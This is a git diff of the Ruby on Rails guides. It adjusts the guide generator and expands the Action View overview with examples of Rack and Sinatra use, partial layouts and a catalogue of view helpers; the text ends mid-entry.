diff options
Diffstat (limited to 'railties/guides')
16 files changed, 3007 insertions, 244 deletions
diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb index 2a4714b13a..341f570251 100644 --- a/railties/guides/rails_guides/generator.rb +++ b/railties/guides/rails_guides/generator.rb @@ -18,7 +18,7 @@ module RailsGuides end def generate - guides = Dir.entries(view_path).find_all {|g| g =~ /textile$/ } + guides = Dir.entries(view_path).find_all {|g| g =~ /\.textile(?:\.erb)?$/ } if ENV["ONLY"] only = ENV["ONLY"].split(",").map{|x| x.strip }.map {|o| "#{o}.textile" } @@ -36,7 +36,7 @@ module RailsGuides end def generate_guide(guide) - guide =~ /(.*?)(\.erb)?\.textile/ + guide =~ /(.*?)\.textile(?:\.erb)?$/ name = $1 puts "Generating #{name}" @@ -46,7 +46,7 @@ module RailsGuides @view = ActionView::Base.new(view_path) @view.extend(Helpers) - if guide =~ /\.erb\.textile/ + if guide =~ /\.textile\.erb$/ # Generate the erb pages with textile formatting - e.g. index/authors result = view.render(:layout => 'layout', :file => guide) f.write textile(result) @@ -55,7 +55,7 @@ module RailsGuides body = set_header_section(body, @view) body = set_index(body, @view) - result = view.render(:layout => 'layout', :text => textile(body)) + result = view.render(:layout => 'layout', :text => textile(body), :locals => {}) f.write result warn_about_broken_links(result) if ENV.key?("WARN_BROKEN_LINKS") end diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile index 2e7f0e7fed..931ebe8a34 100644 --- a/railties/guides/source/action_mailer_basics.textile +++ b/railties/guides/source/action_mailer_basics.textile @@ -402,8 +402,6 @@ Testing mailers normally involves two things: One is that the mail was queued, a <ruby> class UserMailerTest < ActionMailer::TestCase - tests UserMailer - def test_welcome_email user = users(:some_user_in_your_fixtures) @@ -412,7 +410,7 @@ class UserMailerTest < ActionMailer::TestCase assert !ActionMailer::Base.deliveries.empty? # Test the body of the sent email contains what we expect it to - assert_equal [@user.email], email.to + assert_equal [user.email], email.to assert_equal "Welcome to My Awesome Site", email.subject assert_match /Welcome to example.com, #{user.first_name}/, email.body end diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile index ebc267ab71..4aa43a8f3c 100644 --- a/railties/guides/source/action_view_overview.textile +++ b/railties/guides/source/action_view_overview.textile @@ -2,13 +2,21 @@ h2. Action View Overview In this guide you will learn: -* What Action View is, and how to use it +* What Action View is, and how to use it with Rails +* How to use Action View outside of Rails +* How best to use templates, partials, and layouts +* What helpers are provided by Action View, and how to make your own +* How to use localized views endprologue. h3. What is Action View? -TODO... +Action View and Action Controller are the two major components of Action Pack. In Rails, web requests are handled by Action Pack, which splits the work into a controller part (performing the logic) and a view part (rendering a template). Typically, Action Controller will be concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response. + +Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves. + +Note: Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend. h3. Using Action View with Rails @@ -16,27 +24,1432 @@ TODO... h3. Using Action View outside of Rails -TODO... +Action View works well with Action Record, but it can also be used with other Ruby tools. We can demonstrate this by creating a small "Rack":http://rack.rubyforge.org/ application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application. + +Let's start by ensuring that you have the Action Pack and Rack gems installed: + +<shell> +gem install actionpack +gem install rack +</shell> + +Now we'll create a simple "Hello World" application that uses the +titleize+ method provided by Action View. + +*hello_world.rb:* + +<ruby> +require 'rubygems' +require 'action_view' +require 'rack' + +def hello_world(env) + [200, {"Content-Type" => "text/html"}, "hello world".titleize] +end + +Rack::Handler::Mongrel.run method(:hello_world), :Port => 4567 +</ruby> + +We can see this all come together by starting up the application and then visiting +http://localhost:4567/+ + +<shell> +ruby hello_world.rb +</shell> + +TODO needs a screenshot? I have one - not sure where to put it. + +Notice how 'hello world' has been converted into 'Hello World' by the +titleize+ helper method. + +Action View can also be used with "Sinatra":http://www.sinatrarb.com/ in the same way. + +Let's start by ensuring that you have the Action Pack and Sinatra gems installed: + +<shell> +gem install actionpack +gem install sinatra +</shell> + +Now we'll create the same "Hello World" application in Sinatra. + +*hello_world.rb:* + +<ruby> +require 'rubygems' +require 'action_view' +require 'sinatra' + +get '/' do + erb 'hello world'.titleize +end +</ruby> + +Then, we can run the application: + +<shell> +ruby hello_world.rb +</shell> + +Once the application is running, you can see Sinatra and Action View working together by visiting +http://localhost:4567/+ + +TODO needs a screenshot? I have one - not sure where to put it. h3. Templates, Partials and Layouts TODO... +TODO see http://guides.rubyonrails.org/layouts_and_rendering.html + h3. Using Templates, Partials and Layouts in "The Rails Way" TODO... h3. Partial Layouts -TODO... +Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion. + +Let's say we're displaying a post on a page where it should be wrapped in a +div+ for display purposes. First, we'll create a new +Post+: + +<ruby> +Post.create(:body => 'Partial Layouts are cool!') +</ruby> + +In the +show+ template, we'll render the +post+ partial wrapped in the +box+ layout: + +*posts/show.html.erb* + +<ruby> +<%= render :partial => 'post', :layout => 'box', :locals => {:post => @post} %> +</ruby> + +The +box+ layout simply wraps the +post+ partial in a +div+: + +*posts/_box.html.erb* + +<ruby> +<div class='box'> + <%= yield %> +</div> +</ruby> + +The +post+ partial wraps the post's +body+ in a +div+ with the +id+ of the post using the +div_for+ helper: + +*posts/_post.html.erb* + +<ruby> +<% div_for(post) do %> + <p><%= post.body %></p> +<% end %> +</ruby> + +This example would output the following: + +<html> +<div class='box'> + <div id='post_1'> + <p>Partial Layouts are cool!</p> + </div> +</div> +</html> + +Note that the partial layout has access to the local +post+ variable that was passed into the +render+ call. However, unlike application-wide layouts, partial layouts still have the underscore prefix. + +You can also render a block of code within a partial layout instead of calling +yield+. For example, if we didn't have the +post+ partial, we could do this instead: + +*posts/show.html.erb* + +<ruby> +<% render(:layout => 'box', :locals => {:post => @post}) do %> + <% div_for(post) do %> + <p><%= post.body %></p> + <% end %> +<% end %> +</ruby> + +If we're using the same +box+ partial from above, his would produce the same output as the previous example. h3. View Paths TODO... -h3. Overview of all the helpers provided by AV +h3. Overview of all the helpers provided by Action View + +The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the API Documentation, which covers all of the helpers in more detail, but this should serve as a good starting point. + +h4. ActiveRecordHelper + +The Active Record Helper makes it easier to create forms for records kept in instance variables. You may also want to review the "Rails Form helpers guide":form_helpers.html. + +h5. error_message_on + +Returns a string containing the error message attached to the method on the object if one exists. + +<ruby> +error_message_on "post", "title" +</ruby> + +h5. error_messages_for + +Returns a string with a DIV containing all of the error messages for the objects located as instance variables by the names given. + +<ruby> +error_messages_for "post" +</ruby> + +h5. form + +Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a +@post+ with attributes named +title+ of type +String+ and +body+ of type +Text+. Calling +form+ would produce a form to creating a new post with inputs for those attributes. + +<ruby> +form("post") +</ruby> + +<html> +<form action='/posts/create' method='post'> + <p> + <label for="post_title">Title</label><br /> + <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /> + </p> + <p> + <label for="post_body">Body</label><br /> + <textarea cols="40" id="post_body" name="post[body]" rows="20"></textarea> + </p> + <input name="commit" type="submit" value="Create" /> +</form> +</html> + +Typically, +form_for+ is used instead of +form+ because it doesn't automatically include all of the model's attributes. + +h5. input + +Returns a default input tag for the type of object returned by the method. + +For example, if +@post+ has an attribute +title+ mapped to a +String+ column that holds "Hello World": + +<ruby> +input("post", "title") # => + <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /> +</ruby> + +h4. AssetTagHelper + +This module provides methods for generating HTML that links views to assets such as images, javascripts, stylesheets, and feeds. + +By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting +ActionController::Base.asset_host+ in your +config/environment.rb+. For example, let's say your asset host is +assets.example.com+: + +<ruby> +ActionController::Base.asset_host = "assets.example.com" +image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" /> +</ruby> + +h5. register_javascript_expansion + +Register one or more javascript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register javascript files that the plugin installed in public/javascripts. + +<ruby> +ActionView::Helpers::AssetTagHelper.register_javascript_expansion :monkey => ["head", "body", "tail"] + +javascript_include_tag :monkey # => + <script type="text/javascript" src="/javascripts/head.js"></script> + <script type="text/javascript" src="/javascripts/body.js"></script> + <script type="text/javascript" src="/javascripts/tail.js"></script> +</ruby> + +h5. register_javascript_include_default + +Register one or more additional JavaScript files to be included when +javascript_include_tag :defaults+ is called. This method is typically intended to be called from plugin initialization to register additional +.js+ files that the plugin installed in +public/javascripts+. + +h5. register_stylesheet_expansion + +Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+. + +<ruby> +ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"] + +stylesheet_link_tag :monkey # => + <link href="/stylesheets/head.css" media="screen" rel="stylesheet" type="text/css" /> + <link href="/stylesheets/body.css" media="screen" rel="stylesheet" type="text/css" /> + <link href="/stylesheets/tail.css" media="screen" rel="stylesheet" type="text/css" /> +</ruby> + +h5. auto_discovery_link_tag + +Returns a link tag that browsers and news readers can use to auto-detect an RSS or ATOM feed. + +<ruby> +auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "RSS Feed"}) # => + <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" /> +</ruby> + +h5. image_path + +Computes the path to an image asset in the public images directory. Full paths from the document root will be passed through. Used internally by +image_tag+ to build the image path. + +<ruby> +image_path("edit.png") # => /images/edit.png +</ruby> + +h5. image_tag + +Returns an html image tag for the source. The source can be a full path or a file that exists in your public images directory. + +<ruby> +image_tag("icon.png") # => <img src="/images/icon.png" alt="Icon" /> +</ruby> + +h5. javascript_include_tag + +Returns an html script tag for each of the sources provided. You can pass in the filename (+.js+ extension is optional) of javascript files that exist in your +public/javascripts+ directory for inclusion into the current page or you can pass the full path relative to your document root. + +<ruby> +javascript_include_tag "common" # => + <script type="text/javascript" src="/javascripts/common.js"></script> +</ruby> + +To include the Prototype and Scriptaculous javascript libraries in your application, pass +:defaults+ as the source. When using +:defaults+, if an +application.js+ file exists in your +public/javascripts+ directory, it will be included as well. + +<ruby> +javascript_include_tag :defaults +</ruby> + +You can also include all javascripts in the javascripts directory using +:all+ as the source. + +<ruby> +javascript_include_tag :all +</ruby> + +You can also cache multiple javascripts into one file, which requires less HTTP connections to download and can better be compressed by gzip (leading to faster transfers). Caching will only happen if +ActionController::Base.perform_caching+ is set to true (which is the case by default for the Rails production environment, but not for the development environment). + +<ruby> +javascript_include_tag :all, :cache => true # => + <script type="text/javascript" src="/javascripts/all.js"></script> +</ruby> + +h5. javascript_path + +Computes the path to a javascript asset in the +public/javascripts+ directory. If the source filename has no extension, +.js+ will be appended. Full paths from the document root will be passed through. Used internally by +javascript_include_tag+ to build the script path. + +<ruby> +javascript_path "common" # => /javascripts/common.js +</ruby> + +h5. stylesheet_link_tag + +Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, +.css+ will be appended automatically. + +<ruby> +stylesheet_link_tag "application" # => + <link href="/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" /> +</ruby> + +You can also include all styles in the stylesheet directory using :all as the source: + +<ruby> +stylesheet_link_tag :all +</ruby> + +You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching is set to true (which is the case by default for the Rails production environment, but not for the development environment). + +<ruby> +stylesheet_link_tag :all, :cache => true + <link href="/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" /> +</ruby> + +h5. stylesheet_path + +Computes the path to a stylesheet asset in the public stylesheets directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path. + +<ruby> +stylesheet_path "application" # => /stylesheets/application.css +</ruby> + +h4. AtomFeedHelper + +h5. atom_feed + +This helper makes building an ATOM feed easy. Here's a full usage example: + +*config/routes.rb* + +<ruby> +map.resources :posts +</ruby> + +*app/controllers/posts_controller.rb* + +<ruby> +def index + @posts = Post.find(:all) + + respond_to do |format| + format.html + format.atom + end +end +</ruby> + +*app/views/posts/index.atom.builder* + +<ruby> +atom_feed do |feed| + feed.title("Posts Index") + feed.updated((@posts.first.created_at)) + + for post in @posts + feed.entry(post) do |entry| + entry.title(post.title) + entry.content(post.body, :type => 'html') + + entry.author do |author| + author.name(post.author_name) + end + end + end +end +</ruby> + +h4. BenchmarkHelper + +h5. benchmark + +Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation. + +<ruby> +<% benchmark "Process data files" do %> + <%= expensive_files_operation %> +<% end %> +</ruby> + +This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code. + +h4. CacheHelper + +h5. cache + +A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See +ActionController::Caching::Fragments+ for more information. + +<ruby> +<% cache do %> + <%= render :partial => "shared/footer" %> +<% end %> +</ruby> + +h4. CaptureHelper + +h5. capture + +The +capture+ method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout. + +<ruby> +<% @greeting = capture do %> + <p>Welcome! The date and time is <%= Time.now %></p> +<% end %> +<ruby> + +The captured variable can then be used anywhere else. + +<ruby> +<html> + <head> + <title>Welcome!</title> + </head> + <body> + <%= @greeting %> + </body> +</html> +</ruby> + +h5. content_for + +Calling +content_for+ stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to +yield+. + +For example, let's say we have a standard application layout, but also a special page that requires certain Javascript that the rest of the site doesn't need. We can use +content_for+ to include this Javascript on our special page without fattening up the rest of the site. + +*app/views/layouts/application.html.erb* + +<ruby> +<html> + <head> + <title>Welcome!</title> + <%= yield :special_script %> + </head> + <body> + <p>Welcome! The date and time is <%= Time.now %></p> + </body> +</html> +</ruby> + +*app/views/posts/special.html.erb* + +<ruby> +<p>This is a special page.</p> + +<% content_for :special_script do %> + <script type="text/javascript">alert('Hello!')</script> +<% end %> +</ruby> + +h4. DateHelper + +h5. date_select + +Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute. + +<ruby> +date_select("post", "published_on") +</ruby> + +h5. datetime_select + +Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute. + +<ruby> +datetime_select("post", "published_on") +</ruby> + +h5. distance_of_time_in_words + +Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set +include_seconds+ to true if you want more detailed approximations. + +<ruby> +distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute +distance_of_time_in_words(Time.now, Time.now + 15.seconds, true) # => less than 20 seconds +</ruby> + +h5. select_date + +Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+ provided. + +<ruby> +# Generates a date select that defaults to the date provided (six days after today) +select_date(Time.today + 6.days) + +# Generates a date select that defaults to today (no specified date) +select_date() +</ruby> + +h5. select_datetime + +Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the +datetime+ provided. + +<ruby> +# Generates a datetime select that defaults to the datetime provided (four days after today) +select_datetime(Time.now + 4.days) + +# Generates a datetime select that defaults to today (no specified datetime) +select_datetime() +</ruby> + +h5. select_day + +Returns a select tag with options for each of the days 1 through 31 with the current day selected. + +<ruby> +# Generates a select field for days that defaults to the day for the date provided +select_day(Time.today + 2.days) + +# Generates a select field for days that defaults to the number given +select_day(5) +</ruby> + +h5. select_hour + +Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. + +<ruby> +# Generates a select field for minutes that defaults to the minutes for the time provided +select_minute(Time.now + 6.hours) +</ruby> + +h5. select_minute + +Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected. + +<ruby> +# Generates a select field for minutes that defaults to the minutes for the time provided. +select_minute(Time.now + 6.hours) +</ruby> + +h5. select_month + +Returns a select tag with options for each of the months January through December with the current month selected. + +<ruby> +# Generates a select field for months that defaults to the current month +select_month(Date.today) +</ruby> + +h5. select_second + +Returns a select tag with options for each of the seconds 0 through 59 with the current second selected. + +<ruby> +# Generates a select field for seconds that defaults to the seconds for the time provided +select_second(Time.now + 16.minutes) +</ruby> + +h5. select_time + +Returns a set of html select-tags (one for hour and minute). + +<ruby> +# Generates a time select that defaults to the time provided +select_time(Time.now) +</ruby> + +h5. select_year + +Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+. + +<ruby> +# Generates a select field for five years on either side of +Date.today+ that defaults to the current year +select_year(Date.today) + +# Generates a select field from 1900 to 2009 that defaults to the current year +select_year(Date.today, :start_year => 1900, :end_year => 2009) +</ruby> + +h5. time_ago_in_words + +Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+. + +<ruby> +time_ago_in_words(3.minutes.from_now) # => 3 minutes +</ruby> + +h5. time_select + +Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object. + +<ruby> +# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute +time_select("order", "submitted") +</ruby> + +h4. DebugHelper + +Returns a +pre+ tag that has object dumped by YAML. This creates a very readable way to inspect an object. + +<ruby> +my_hash = {'first' => 1, 'second' => 'two', 'third' => [1,2,3]} +debug(my_hash) +</ruby> + +<html> +<pre class='debug_dump'>--- +first: 1 +second: two +third: +- 1 +- 2 +- 3 +</pre> +</html> + +h4. FormHelper + +Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. + +There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don‘t work with model attributes, check the ActionView::Helpers::FormTagHelper documentation. + +The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: + +<ruby> +# Note: a @person variable will have been created in the controller (e.g. @person = Person.new) +<% form_for :person, @person, :url => { :action => "create" } do |f| %> + <%= f.text_field :first_name %> + <%= f.text_field :last_name %> + <%= submit_tag 'Create' %> +<% end %> +</ruby> + +The HTML generated for this would be: + +<html> +<form action="/persons/create" method="post"> + <input id="person_first_name" name="person[first_name]" size="30" type="text" /> + <input id="person_last_name" name="person[last_name]" size="30" type="text" /> + <input name="commit" type="submit" value="Create" /> +</form> +</html> + +The params object created when this form is submitted would look like: + +<ruby> +{"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}} +</ruby> + +The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller. + +h5. check_box + +Returns a checkbox tag tailored for accessing a specified attribute. + +<ruby> +# Let's say that @post.validated? is 1: +check_box("post", "validated") +# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" /> +# <input name="post[validated]" type="hidden" value="0" /> +</ruby> + +h5. fields_for + +Creates a scope around a specific model object like form_for, but doesn‘t create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form: + +<ruby> +<% form_for @person, :url => { :action => "update" } do |person_form| %> + First name: <%= person_form.text_field :first_name %> + Last name : <%= person_form.text_field :last_name %> + + <% fields_for @person.permission do |permission_fields| %> + Admin? : <%= permission_fields.check_box :admin %> + <% end %> +<% end %> +</ruby> + +h5. file_field + +Returns an file upload input tag tailored for accessing a specified attribute. + +<ruby> +file_field(:user, :avatar) +# => <input type="file" id="user_avatar" name="user[avatar]" /> +</ruby> + +h5. form_for + +Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields. + +<ruby> +<% form_for @post do |f| %> + <%= f.label :title, 'Title' %>: + <%= f.text_field :title %><br /> + <%= f.label :body, 'Body' %>: + <%= f.text_area :body %><br /> +<% end %> +</ruby> + +h5. hidden_field + +Returns a hidden input tag tailored for accessing a specified attribute. + +<ruby> +hidden_field(:user, :token) +# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" /> +</ruby> + +h5. label + +Returns a label tag tailored for labelling an input field for a specified attribute. + +<ruby> +label(:post, :title) +# => <label for="post_title">Title</label> +</ruby> + +h5. password_field + +Returns an input tag of the "password" type tailored for accessing a specified attribute. + +<ruby> +password_field(:login, :pass) +# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" /> +</ruby> + +h5. radio_button + +Returns a radio button tag for accessing a specified attribute. + +<ruby> +# Let's say that @post.category returns "rails": +radio_button("post", "category", "rails") +radio_button("post", "category", "java") +# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" /> +# <input type="radio" id="post_category_java" name="post[category]" value="java" /> +</ruby> + +h5. text_area + +Returns a textarea opening and closing tag set tailored for accessing a specified attribute. + +<ruby> +text_area(:comment, :text, :size => "20x30") +# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]"> +# #{@comment.text} +# </textarea> +</ruby> + +h5. text_field + +Returns an input tag of the "text" type tailored for accessing a specified attribute. + +<ruby> +text_field(:post, :title) +# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" /> +</ruby> + +h4. FormOptionsHelper + +Provides a number of methods for turning different kinds of containers into a set of option tags. + +h5. collection_select + +Returns +select+ and +option+ tags for the collection of existing return values of +method+ for +object+'s class. + +Example object structure for use with this method: + +<ruby> +class Post < ActiveRecord::Base + belongs_to :author +end + +class Author < ActiveRecord::Base + has_many :posts + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +</ruby> + +Sample usage (selecting the associated Author for an instance of Post, +@post+): + +<ruby> +collection_select(:post, :author_id, Author.find(:all), :id, :name_with_initial, {:prompt => true}) +</ruby> + +If @post.author_id is already 1, this would return: + +<html> +<select name="post[author_id]"> + <option value="">Please select</option> + <option value="1" selected="selected">D. Heinemeier Hansson</option> + <option value="2">D. Thomas</option> + <option value="3">M. Clark</option> +</select> +</html> + +h5. country_options_for_select + +Returns a string of option tags for pretty much any country in the world. + +h5. country_select + +Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. + +h5. option_groups_from_collection_for_select + +Returns a string of +option+ tags, like +options_from_collection_for_select+, but groups them by +optgroup+ tags based on the object relationships of the arguments. + +Example object structure for use with this method: + +<ruby> +class Continent < ActiveRecord::Base + has_many :countries + # attribs: id, name +end + +class Country < ActiveRecord::Base + belongs_to :continent + # attribs: id, name, continent_id +end +</ruby> + +Sample usage: + +<ruby> +option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) +</ruby> + +TODO check above textile output looks right + +Possible output: + +<html> +<optgroup label="Africa"> + <option value="1">Egypt</option> + <option value="4">Rwanda</option> + ... +</optgroup> +<optgroup label="Asia"> + <option value="3" selected="selected">China</option> + <option value="12">India</option> + <option value="5">Japan</option> + ... +</optgroup> +</html> + +Note: Only the +optgroup+ and +option+ tags are returned, so you still have to wrap the output in an appropriate +select+ tag. + +h5. options_for_select + +Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. + +<ruby> +options_for_select([ "VISA", "MasterCard" ]) +# => <option>VISA</option> <option>MasterCard</option> +</ruby> + +Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag. + +h5. options_from_collection_for_select + +Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the the result of a call to the +value_method+ as the option value and the +text_method+ as the option text. + +<ruby> +# options_from_collection_for_select(collection, value_method, text_method, selected = nil) +</ruby> + +For example, imagine a loop iterating over each person in @project.people to generate an input tag: + +<ruby> +options_from_collection_for_select(@project.people, "id", "name") +# => <option value="#{person.id}">#{person.name}</option> +</ruby> + +Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag. + +h5. select + +Create a select tag and a series of contained option tags for the provided object and method. + +Example with @post.person_id => 1: + +<ruby> +select("post", "person_id", Person.find(:all).collect {|p| [ p.name, p.id ] }, { :include_blank => true }) +</ruby> + +could become: + +<html> +<select name="post[person_id]"> + <option value=""></option> + <option value="1" selected="selected">David</option> + <option value="2">Sam</option> + <option value="3">Tobias</option> +</select> +</html> + +h5. time_zone_options_for_select + +Returns a string of option tags for pretty much any time zone in the world. + +h5. time_zone_select + +Return select and option tags for the given object and method, using +time_zone_options_for_select+ to generate the list of option tags. + +<ruby> +time_zone_select( "user", "time_zone") +</ruby> + +h4. FormTagHelper + +Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. + +h5. check_box_tag + +Creates a check box form input tag. + +<ruby> +check_box_tag 'accept' +# => <input id="accept" name="accept" type="checkbox" value="1" /> +</ruby> + +h5. field_set_tag + +Creates a field set for grouping HTML form elements. + +<ruby> +<% field_set_tag do %> + <p><%= text_field_tag 'name' %></p> +<% end %> +# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset> +</ruby> + +h5. file_field_tag + +Creates a file upload field. + +If you are using file uploads then you will also need to set the multipart option for the form tag: + +<ruby> +<%= form_tag { :action => "post" }, { :multipart => true } %> + <label for="file">File to Upload</label> <%= file_field_tag "file" %> + <%= submit_tag %> +<%= end_form_tag %> +</ruby> + +Example output: + +<ruby> +file_field_tag 'attachment' +# => <input id="attachment" name="attachment" type="file" /> +</ruby> + +h5. form_tag + +Starts a form tag that points the action to an url configured with +url_for_options+ just like +ActionController::Base#url_for+. + +<ruby> +<% form_tag '/posts' do -%> + <div><%= submit_tag 'Save' %></div> +<% end -%> +# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form> +</ruby> + +h5. hidden_field_tag + +Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user. + +<ruby> +hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@' +# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" /> +</ruby> + +h5. image_submit_tag + +Displays an image which when clicked will submit the form. + +<ruby> +image_submit_tag("login.png") +# => <input src="/images/login.png" type="image" /> +</ruby> + +h5. label_tag + +Creates a label field. + +<ruby> +label_tag 'name' +# => <label for="name">Name</label> +</ruby> + +h5. password_field_tag + +Creates a password field, a masked text field that will hide the users input behind a mask character. + +<ruby> +password_field_tag 'pass' +# => <input id="pass" name="pass" type="password" /> +</ruby> + +h5. radio_button_tag + +Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options. + +<ruby> +radio_button_tag 'gender', 'male' +# => <input id="gender_male" name="gender" type="radio" value="male" /> +</ruby> + +h5. select_tag + +Creates a dropdown selection box. + +<ruby> +select_tag "people", "<option>David</option>" +# => <select id="people" name="people"><option>David</option></select> +</ruby> + +h5. submit_tag + +Creates a submit button with the text provided as the caption. + +<ruby> +submit_tag "Publish this post" +# => <input name="commit" type="submit" value="Publish this post" /> +</ruby> + +h5. text_area_tag + +Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions. + +<ruby> +text_area_tag 'post' +# => <textarea id="post" name="post"></textarea> +</ruby> + +h5. text_field_tag + +Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query. + +<ruby> +text_field_tag 'name' +# => <input id="name" name="name" type="text" /> +</ruby> + +h4. JavaScriptHelper + +Provides functionality for working with JavaScript in your views. + +Rails includes the Prototype JavaScript framework and the Scriptaculous JavaScript controls and visual effects library. If you wish to use these libraries and their helpers, make sure +<%= javascript_include_tag :defaults, :cache => true %>+ is in the HEAD section of your page. This function will include the necessary JavaScript files Rails generated in the public/javascripts directory. + +h5. button_to_function + +Returns a button that'll trigger a JavaScript function using the onclick handler. Examples: + +<ruby> +button_to_function "Greeting", "alert('Hello world!')" +button_to_function "Delete", "if (confirm('Really?')) do_delete()" +button_to_function "Details" do |page| + page[:details].visual_effect :toggle_slide +end +</ruby> + +h5. define_javascript_functions + +Includes the Action Pack JavaScript libraries inside a single +script+ tag. + +h5. escape_javascript + +Escape carrier returns and single and double quotes for JavaScript segments. + +h5. javascript_tag + +Returns a JavaScript tag wrapping the provided code. + +<ruby> +javascript_tag "alert('All is good')" +</ruby> + +<html> +<script type="text/javascript"> +//<![CDATA[ +alert('All is good') +//]]> +</script> +</html> + +h5. link_to_function + +Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact. + +<ruby> +link_to_function "Greeting", "alert('Hello world!')" +# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a> +</ruby> + +h4. NumberHelper + +Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size. + +h5. number_to_currency + +Formats a number into a currency string (e.g., $13.65). + +<ruby> +number_to_currency(1234567890.50) # => $1,234,567,890.50 +</ruby> + +h5. number_to_human_size + +Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users. + +<ruby> +number_to_human_size(1234) # => 1.2 KB +number_to_human_size(1234567) # => 1.2 MB +</ruby> + +h5. number_to_percentage + +Formats a number as a percentage string. + +<ruby> +number_to_percentage(100, :precision => 0) # => 100% +</ruby> + +h5. number_to_phone + +Formats a number into a US phone number. + +<ruby> +number_to_phone(1235551234) # => 123-555-1234 +</ruby> + +h5. number_with_delimiter + +Formats a number with grouped thousands using a delimiter. + +<ruby> +number_with_delimiter(12345678) # => 12,345,678 +</ruby> + +h5. number_with_precision + +Formats a number with the specified level of +precision+, which defaults to 